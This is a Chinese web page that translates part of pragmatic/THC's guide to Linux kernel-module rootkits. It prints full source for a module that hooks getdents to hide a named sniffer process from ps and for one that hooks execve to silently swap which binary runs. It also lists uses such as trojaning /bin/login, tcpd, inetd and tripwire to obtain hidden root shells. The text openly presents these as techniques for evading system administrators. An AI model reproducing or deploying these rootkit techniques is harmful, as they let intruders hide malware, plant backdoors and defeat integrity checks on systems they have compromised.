china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


第二部分 渐入佳境


2.5 和进程有关的入侵


到目前为止,文件系统已经完全在我们的掌握之下了,我们讨论了最有意思的‘Hacks’,现在是我们换方向的时候了,我们需要LKMs能够迷惑那些像‘ps’那样的显示进程的命令。

2.5.1 如何隐藏任何进程


我们平常所需要的最重要的一件事情是让一个进程逃过系统管理员的眼睛.假如一个监听器,破解器...什么的被系统管理员用一个'ps'命令看出来了...老的学究的方法是改变监听器的文件名,并且希望那个系统管理员足够的傻.这不是一个可靠的方法.我们希望能够完全的隐藏进程.让我们看看plaguez的一个实现(有非常小的改动):

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

#include <linux/proc_fs.h>

extern void* sys_call_table[];

/*我们想隐藏的进程名*/

char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

/*将一个字符串转换为数字*/

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

if (*ptr < '0' || *ptr > '9')

return (-1);

res += (*ptr - '0') * mul;

mul *= 10;

}

return (res);

}

/*从PID中得到任务结构*/

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p = current;

do {

if (p->pid == pid)

return p;

p = p->next_task;

}

while (p != current);

return NULL;

}

/*从任务结构中得到进程名*/

static inline char *task_name(struct task_struct *p, char *buf)

{

int i;

char *name;

name = p->comm;

i = sizeof(p->comm);

do {

unsigned char c = *name;

name++;

i--;

*buf = c;

if (!c)

break;

if (c == '\\') {

buf[1] = c;

buf += 2;

continue;

}

if (c == '\n') {

buf[0] = '\\';

buf[1] = 'n';

buf += 2;

continue;

}

buf++;

}

while (i);

*buf = '\n';

return buf + 1;

}

/*检查我们是否需要隐藏这个进程*/

int invisible(pid_t pid)

{

struct task_struct *task = get_task(pid);

char *buffer;

if (task) {

buffer = kmalloc(200, GFP_KERNEL);

memset(buffer, 0, 200);

task_name(task, buffer);

if (strstr(buffer, (char *) &mtroj)) {

kfree(buffer);

return 1;

}

}

return 0;

}

/*看2.4获得文件系统入侵的更为详细的信息*/

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

{

unsigned int tmp, n;

int t, proc = 0;

struct inode *dinode;

struct dirent *dirp2, *dirp3;

tmp = (*orig_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H

dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

dinode = current->files->fd[fd]->f_inode;

#endif

if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)

proc=1;

if (tmp > 0) {

dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);

memcpy_fromfs(dirp2, dirp, tmp);

dirp3 = dirp2;

t = tmp;

while (t > 0) {

n = dirp3->d_reclen;

t -= n;

if ((proc && invisible(myatoi(dirp3->d_name)))) {

if (t != 0)

  memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);

else

  dirp3->d_off = 1024;

  tmp -= n;

}

if (t != 0)

  dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);

}

memcpy_tofs(dirp, dirp2, tmp);

kfree(dirp2);

}

return tmp;

}

int init_module(void)        

/*初始化模块*/

{

orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;

return 0;

}

void cleanup_module(void)

/*卸载模块*/      

{

sys_call_table[SYS_getdents]=orig_getdents;                  

}

这个代码看起来有点复杂.但是如果你知道'ps'或者其他的进程分析工具是如何工作的这些代码还是很容易理解的.像'ps'这样的命令并不使用任何特殊的系统调用来获得当前进程的列表(也不存在实现这个功能的系统调用).通过跟踪'ps'你会发现他从/proc/目录中获得这些信息.在那里你可以发现很多名字只由数字组成的目录.这些数字就是那个系统中所有运行进程的PID.在这些目录里面你会发现提供给进程信息的所有文件.因此,'ps'命令不过是在/proc/里面来一个'ls'命令.每一个数字就代表一个PID,从而获得那个著名的列表.所有展示给我们的有关这个进程的信息就是从/proc/PID/下面的文件中读出来的.现在你可以理解了.'ps'一定是读了/proc/目录里面的内容.因此一定使用了sys_getdents(...).我们必须获得在/proc/下面发现的PID进程的名字.如果这个这个进程的名字是我们想要隐藏的.我们就要把他从/proc/中隐藏起来.(就像我们在文件系统对其他的文件一样->见4.1).这两个任务函数和那个invisible(...)只是用来找到某个给定的在/proc/目录中找到的PID的名字和相关的信息.关于文件的隐藏在学过2.4.1以后应该十分清楚了.

在plaguez的实现中我只会有一点改进.我不知道为什么他要使用自己的atoi函数.一个简单的_strtoul(...)会更容易一些.但是这些都是微不足道的.当然,一个完整的隐藏模块会用一个被修改的getdents调用把文件和进程都屏蔽起来.(这也是plaguez实现的方法).Runar Jensen使用另一个更为复杂的方法.他也隐藏了/proc目录下面的PID,但是他检查是否是否该隐藏的方法有一点不一样.他用一个任务结构中的标志位.这个unsigned long位通常用于保存任务的一些信息常量:

PF_PTRACED : 当前进程是保留的

PF_TRACESYS : " " " "

PF_STARTING :进程马上就要开始了

PF_EXITING : 进程马上就要结束了.

      

现在Runar Jensen加了一个他自己的常量(PF_INVISIBLE)用来表示相对应的进程是否应该被隐藏.因此一个用sys_getdents找到的/proc下面的PID不需要解析出它的名字.你只需要检查那个任务的标志位.这看上去比用名字的实现方法更为简单.但是如何给这个我们要隐藏的进程设置这个标志位呢?Runar Jensen使用了最简单的方法--截获sys_kill(...).'kill'命令可以送一个特殊的代码(比如说9是结束)给任何由PID指定的进程.因此,启动你想隐藏的进程.用一个'ps'命令获得他的PID,然后使用一个'kill -code PID'.这个code域必须是一个系统没有使用过的值.(因此9是一个坏的选择);Runar Jensen使用的是32.因此这个模块必须截获sys_kill(...)并且检查代码是否为32.如果是的话,就必须设置这个PID所决定的进程的任务标志位.这就是设置标志位的方法.现在应该清楚了为什么这个实现比起前一个会有一些太复杂一点.

2.5.2 如果改变文件的执行结果


在某些情况下,改变一个文件的执行结果是十分有趣的.这些文件可以是/bin/login(就像plaguez做的那样),tecpd,等等.这会允许你加入任何木马而不会有文件的校验和检查问题.(你并不需要改变他们).因此让我们再次搜索相对应的系统调用.sys_execve(...)是我们需要的.让我们看看plaguez的实现方法(最初的想法来自halflife):

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

extern void* sys_call_table[];

/*必须被定义因为系统调用宏会使用*/

int errno;

/*我们定义自己的系统调用*/

int __NR_myexecve;

/*我们必须使用brk*/

static inline _syscall1(int, brk, void *, end_data_segment);

int (*orig_execve) (const char *, const char *[], const char *[]);

/*这儿使用plaguez's的方法->以字符串为类型的内核空间的传输比memcpy_fromfs(...)要好*/

char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;

do {

dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt - 1] != '\0') && (compt != n));

return dest;

}

/*这是一个类似于SYS_execve的系统调用宏.汇编代码使用int 0x80并使用我们需要的寄存器来进行我们自己的__NR_myexecve系统调用*/

int my_execve(const char *filename, const char *argv[], const char *envp[])

{

  long __res;

  __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)

           (filename)), "c"((long) (argv)),           "d"((long) (envp)));

  return (int) __res;

}

int hacked_execve(const char *filename, const char *argv[], const char *envp[])

{

char *test;

int ret, tmp;

char *truc = "/bin/ls";    

/*我们应该执行的文件*/

char *nouveau = "/bin/ps";

/*实际上执行的文件*/  

unsigned long mmm;

test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);

/*获得用户想执行的文件*/

(void) strncpy_fromfs(test, filename, strlen(truc));

test[strlen(truc)] = '\0';

/*是我们想截获的文件么?*/

if (!strcmp(test, truc))

{

kfree(test);

mmm = current->mm->brk;

ret = brk((void *) (mmm + 256));

if (ret < 0)

return ret;

/*设置新的文件名(任何我们想执行的程序,除了/bin/ls)*/

memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

/*使用相同的参数和环境执行这个文件*/

ret = my_execve((char *) (mmm + 2), argv, envp);

tmp = brk((void *) mmm);

} else {

kfree(test);

/*不是/bin/ls,用正常方式执行*/

ret = my_execve(filename, argv, envp);

}

return ret;

}

int init_module(void)    

/*初始化模块*/  

{

/*下面的代码选择我们自己的新的myexeve的系统调用代码.*/

__NR_myexecve = 200;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

__NR_myexecve--;

orig_execve = sys_call_table[SYS_execve];

if (__NR_myexecve != 0)

{

sys_call_table[__NR_myexecve] = orig_execve;

sys_call_table[SYS_execve] = (void *) hacked_execve;

}

return 0;

}

void cleanup_module(void)    

/*卸载模块*/

{

sys_call_table[SYS_execve]=orig_execve;                  

}

当你加载这个模块时,每一个对/bin/ls的运行命令都会执行/bin/ps.下面的列表给出了一些使用这种execve的一些想法:

用木马替换/bin/login(plaguez建议)

用木马替换tcpd使得在某个端口开一个拥有root权限的shell.或者来纪录某些信息(记得CERT的关于TCPD版本的木马的意见么?)

用木马来替换inetd获得一个rootshell.

用木马替换httpd,sendmail,....任何一个你想得到的服务,通过传入一个特殊的字符串来获得一个rootshell.

用木马替换像tripwire这样的工具.

其他和系统安全有关的工具.

会有其他成千上万种有趣的程序可以被木马替换,只要用你的脑子想像就可以了.

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网